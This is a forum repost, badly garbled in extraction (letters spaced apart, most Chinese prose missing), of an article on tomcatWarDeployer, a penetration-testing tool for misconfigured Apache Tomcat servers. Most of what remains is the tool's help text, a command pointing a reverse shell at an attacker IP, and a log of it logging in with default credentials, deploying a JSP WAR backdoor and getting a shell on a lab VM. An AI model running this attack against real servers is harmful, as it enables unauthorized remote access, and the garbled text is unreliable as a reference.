[22243] 2021-08-11_ApacheTomcat自动WAR部署和渗透测试工具

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-08-11_ApacheTomcat自动WAR部署和渗透测试工具 A p a c h e   T o m c a t     W A R     L e m o n S e c   2 0 2 1 - 0 8 - 1 1   T o m c a t 使 W e b 使 J S P 使 W a r w a r W e b , H T M L / C S S / J S , J a v a W e b , , W a r W a r T o m c a t w e b a p p s w o r d , T o m c a t W a r   A p a c h e   T o m c a t     J S P     w e b   t c p     J S P     W A R     A p a c h e   T o m c a t   使   p e n t e s t e r     H T T P   便   C V E - 2 0 0 7 - 1 8 6 0     T o m c a t     C S R F   . /   u s e r $   p y t h o n   t o m c a t W a r D e p l o y e r . p y   - - h e l p         t o m c a t W a r D e p l o y e r   ( v .   0 . 5 )         A p a c h e   T o m c a t   a u t o   W A R   d e p l o y m e n t   &   l a u n c h i n g   t o o l         M a r i u s z   B .   /   M G e e k y   ' 1 6 P e n e t r a t i o n   T e s t i n g   u t i l i t y   a i m i n g   a t   p r e s e n t i n g   d a n g e r   o f   l e a v i n g   T o m c a t   m i s c o n f i g u r e d .         U s a g e :   t o m c a t W a r D e p l o y e r . p y   [ o p t i o n s ]   s e r v e r     s e r v e r         S p e c i f i e s   s e r v e r   a d d r e s s .   P l e a s e   a l s o   i n c l u d e   p o r t   a f t e r   c o l o n . O p t i o n s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     G e n e r a l   o p t i o n s :         - v ,   - - v e r b o s e               V e r b o s e   m o d e .         - s ,   - - s i m u l a t e             S i m u l a t e   b r e a c h   o n l y ,   d o   n o t   p e r f o r m   a n y   o f f e n s i v e                                                 a c t i o n s .         - G   O U T F I L E ,   - - g e n e r a t e = O U T F I L E                                                 G e n e r a t e   J S P   b a c k d o o r   o n l y   a n d   p u t   i t   i n t o   s p e c i f i e d                                                 o u t f i l e   p a t h   t h e n   e x i t .   D o   n o t   p e r f o r m   a n y                                                 c o n n e c t i o n s ,   s c a n n i n g s ,   d e p l o y m e n t   a n d   s o   o n .         - U   U S E R ,   - - u s e r = U S E R                                                 T o m c a t   M a n a g e r   W e b   A p p l i c a t i o n   H T T P   A u t h   u s e r n a m e .                                                 D e f a u l t = " t o m c a t "         - P   P A S S ,   - - p a s s = P A S S                                                 T o m c a t   M a n a g e r   W e b   A p p l i c a t i o n   H T T P   A u t h   p a s s w o r d .                                                 D e f a u l t = " t o m c a t "     C o n n e c t i o n   o p t i o n s :         - H   R H O S T ,   - - h o s t = R H O S T                                                 R e m o t e   h o s t   f o r   r e v e r s e   t c p   p a y l o a d   c o n n e c t i o n .   W h e n                                                 s p e c i f i e d ,   R P O R T   m u s t   b e   s p e c i f i e d   t o o .   O t h e r w i s e ,                                                 b i n d   t c p   p a y l o a d   w i l l   b e   d e p l o y e d   l i s t e n i n g   o n   0 . 0 . 0 . 0         - p   P O R T ,   - - p o r t = P O R T                                                 R e m o t e   p o r t   f o r   t h e   r e v e r s e   t c p   p a y l o a d   w h e n   u s e d   w i t h                                                 R H O S T   o r   L o c a l   p o r t   i f   n o   R H O S T   s p e c i f i e d   t h u s   a c t i n g                                                 a s   a   B i n d   s h e l l   e n d p o i n t .         - u   U R L ,   - - u r l = U R L       A p a c h e   T o m c a t   m a n a g e m e n t   c o n s o l e   U R L .   D e f a u l t :                                                 / m a n a g e r /         - t   T I M E O U T ,   - - t i m e o u t = T I M E O U T                                                 S p e c i i f e d   t i m e o u t   p a r a m e t e r   f o r   s o c k e t   o b j e c t   a n d                                                 o t h e r   t i m i n g   h o l d u p s .   D e f a u l t :   1 0
  1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0   K e v g i r   1   V M     P a y l o a d   o p t i o n s :         - R   A P P N A M E ,   - - r e m o v e = A P P N A M E                                                 R e m o v e   d e p l o y e d   a p p   w i t h   s p e c i f i e d   n a m e .   C a n   b e   u s e d                                                 f o r   p o s t - a s s e s s m e n t   c l e a n i n g         - X   P A S S W O R D ,   - - s h e l l p a s s = P A S S W O R D                                                 S p e c i f i e s   a u t h e n t i c a t i o n   p a s s w o r d   f o r   u p l o a d e d   s h e l l ,                                                 t o   p r e v e n t   u n a u t h e n t i c a t e d   u s a g e .   D e f a u l t :   r a n d o m l y                                                 g e n e r a t e d .   S p e c i f y   " N o n e "   t o   l e a v e   t h e   s h e l l                                                 u n a u t h e n t i c a t e d .         - T   T I T L E ,   - - t i t l e = T I T L E                                                 S p e c i f i e s   h e a d > t i t l e   f o r   u p l o a d e d   J S P   W A R   p a y l o a d .                                                 D e f a u l t :   " J S P   A p p l i c a t i o n "         - n   A P P N A M E ,   - - n a m e = A P P N A M E                                                 S p e c i f i e s   J S P   a p p l i c a t i o n   n a m e .   D e f a u l t :   " j s p _ a p p "         - x ,   - - u n l o a d                 U n l o a d   e x i s t i n g   J S P   A p p l i c a t i o n   w i t h   t h e   s a m e   n a m e .                                                 D e f a u l t :   n o .         - C ,   - - n o c o n n e c t           D o   n o t   c o n n e c t   t o   t h e   s p a w n e d   s h e l l   i m m e d i a t e l y .   B y                                                 d e f a u l t   t h i s   p r o g r a m   w i l l   c o n n e c t   t o   t h e   s p a w n e d                                                 s h e l l ,   s p e c i f y i n g   t h i s   o p t i o n   l e t ' s   y o u   u s e   o t h e r                                                 h a n d l e r s   l i k e   M e t a s p l o i t ,   N e t C a t   a n d   s o   o n .         - f   W A R F I L E ,   - - f i l e = W A R F I L E                                                 C u s t o m   W A R   f i l e   t o   d e p l o y .   B y   d e f a u l t   t h e   s c r i p t   w i l l                                                 g e n e r a t e   o w n   W A R   f i l e   o n - t h e - f l y . u s e r $   p y t h o n   t o m c a t W a r D e p l o y e r . p y   - v   - x   - p   4 4 4 9   - H   1 9 2 . 1 6 8 . 5 6 . 1 0 2   1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0         t o m c a t W a r D e p l o y e r   ( v .   0 . 3 )         A p a c h e   T o m c a t   6 / 7   a u t o   W A R   d e p l o y m e n t   &   l a u n c h i n g   t o o l         M a r i u s z   B .   /   M G e e k y   ' 1 6 P e n e t r a t i o n   T e s t i n g   u t i l i t y   a i m i n g   a t   p r e s e n t i n g   d a n g e r   o f   l e a v i n g   T o m c a t   m i s c o n f i g u r e d .         I N F O :   R e v e r s e   s h e l l   w i l l   c o n n e c t   t o :   1 9 2 . 1 6 8 . 5 6 . 1 0 2 : 4 4 4 9 . D E B U G :   B r o w s i n g   t o   " h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / m a n a g e r / " . . .   C r e d s :   t o m c a t : t o m c a t D E B U G :   A p a c h e   T o m c a t   M a n a g e r   A p p l i c a t i o n   r e a c h e d   &   v a l i d a t e d . D E B U G :   G e n e r a t i n g   J S P   W A R   b a c k d o o r   c o d e . . . D E B U G :   P r e p a r i n g   a d d i t i o n a l   c o d e   f o r   R e v e r s e   T C P   s h e l l D E B U G :   G e n e r a t i n g   t e m p o r a r y   s t r u c t u r e   f o r   j s p _ a p p   W A R   a t :   " / t m p / t m p D h z o 9 I " D E B U G :   W o r k i n g   w i t h   J a v a   a t   v e r s i o n :   1 . 8 . 0 _ 6 0 D E B U G :   G e n e r a t i n g   w e b . x m l   w i t h   s e r v l e t - n a m e :   " J S P   A p p l i c a t i o n " D E B U G :   G e n e r a t i n g   W A R   f i l e   a t :   " / t m p / j s p _ a p p . w a r " D E B U G :   a d d e d   m a n i f e s t a d d i n g :   f i l e s / ( i n   =   0 )   ( o u t =   0 ) ( s t o r e d   0 % ) a d d i n g :   f i l e s / W E B - I N F / ( i n   =   0 )   ( o u t =   0 ) ( s t o r e d   0 % ) a d d i n g :   f i l e s / W E B - I N F / w e b . x m l ( i n   =   5 4 7 )   ( o u t =   2 5 3 ) ( d e f l a t e d   5 3 % ) a d d i n g :   f i l e s / M E T A - I N F / ( i n   =   0 )   ( o u t =   0 ) ( s t o r e d   0 % ) a d d i n g :   f i l e s / M E T A - I N F / M A N I F E S T . M F ( i n   =   6 8 )   ( o u t =   6 7 ) ( d e f l a t e d   1 % ) a d d i n g :   i n d e x . j s p ( i n   =   4 6 8 4 )   ( o u t =   1 5 9 5 ) ( d e f l a t e d   6 5 % ) D E B U G :   W A R   f i l e   s t r u c t u r e : D E B U G :   / t m p / t m p D h z o 9 I   f i l e s         M E T A - I N F               M A N I F E S T . M F         W E B - I N F                 w e b . x m l   i n d e x . j s p 3   d i r e c t o r i e s ,   3   f i l e s W A R N I N G :   A p p l i c a t i o n   w i t h   n a m e :   " j s p _ a p p "   i s   a l r e a d y   d e p l o y e d . D E B U G :   U n l o a d i n g   e x i s t i n g   o n e . . . D E B U G :   U n l o a d i n g   a p p l i c a t i o n :   " h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / j s p _ a p p / " D E B U G :   S u c c e e d e d . D E B U G :   D e p l o y i n g   a p p l i c a t i o n :   j s p _ a p p   f r o m   f i l e :   " / t m p / j s p _ a p p . w a r " D E B U G :   R e m o v i n g   t e m p o r a r y   W A R   d i r e c t o r y :   " / t m p / t m p D h z o 9 I " D E B U G :   S u c c e e d e d ,   i n v o k i n g   i t . . . D E B U G :   S p a w n e d   s h e l l   h a n d l i n g   t h r e a d .   A w a i t i n g   f o r   t h e   e v e n t . . . D E B U G :   A w a i t i n g   f o r   r e v e r s e - s h e l l   h a n d l e r   t o   s e t - u p D E B U G :   E s t a b l i s h i n g   l i s t e n e r   f o r   i n c o m i n g   r e v e r s e   T C P   s h e l l   a t   1 9 2 . 1 6 8 . 5 6 . 1 0 2 : 4 4 4 9 D E B U G :   S o c k e t   i s   b i n d e d   t o   l o c a l   p o r t   n o w ,   a w a i t i n g   f o r   c l i e n t s . . . D E B U G :   I n v o k i n g   a p p l i c a t i o n   a t   u r l :   " h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / j s p _ a p p / " D E B U G :   A d d i n g   ' X - P a s s :   o H I 9 m P B 0 m O n Z '   h e a d e r   f o r   s h e l l   f u n c t i o n a l i t y   a u t h e n t i c a t i o n . D E B U G :   I n c o m i n g   c l i e n t :   1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 5 4 2 5 1 I N F O :   J S P   B a c k d o o r   u p   &   r u n n i n g   o n   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 0 : 8 0 8 0 / j s p _ a p p / I N F O :   H a p p y   p w n i n g .   H e r e   t a k e   t h a t   p a s s w o r d   f o r   w e b   s h e l l :   ' o H I 9 m P B 0 m O n Z ' D E B U G :   C o n n e c t e d   w i t h   t h e   s h e l l :   t o m c a t 7 @ c a n y o u p w n m e j h t o m c a t 7 @ c a n y o u p w n m e   $   i d u i d = 1 0 6 ( t o m c a t 7 )   g i d = 1 1 4 ( t o m c a t 7 )   g r o u p s = 1 1 4 ( t o m c a t 7 )
  1 9 2 . 1 6 8 . 5 6 . 1 0 2 : 4 4 4 9     s h e l l   J S P   B a c k d o o r   s h e l l 使 访   W E B     W E B     P O S T   ' p a s s w o r d '   X - P a s s n e t c a t   H T T P     W E B   访 A p a c h e   T o m c a t / 5 . 5 . 3 5 A p a c h e   T o m c a t / 6 . ? A p a c h e   T o m c a t / 7 . 0 . 5 2 A p a c h e   T o m c a t / 7 . 0 . 5 6 A p a c h e   T o m c a t / 8 . 0 . 3 3 t o m c a t t o m c a t 7 @ c a n y o u p w n m e   $   e x i t w a r h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 4 2 9 1 8 7 7 1 / a r t i c l e / d e t a i l s / 1 0 4 8 7 6 0 2 5 ? u t m _ m e d i u m = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - 2 ~ d e f a u l t ~ b a i d u j s _ t i t l e ~ d e f a u l t - 0 . c o n t r o l & s p m = 1 0 0 1 . 2 1 0 1 . 3 0 0 1 . 4 2 4 2 h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 4 3 0 7 1 8 7 3 / a r t i c l e / d e t a i l s / 1 0 9 5 3 2 1 6 0 h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 8 6 2 7 9 . h t m l
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则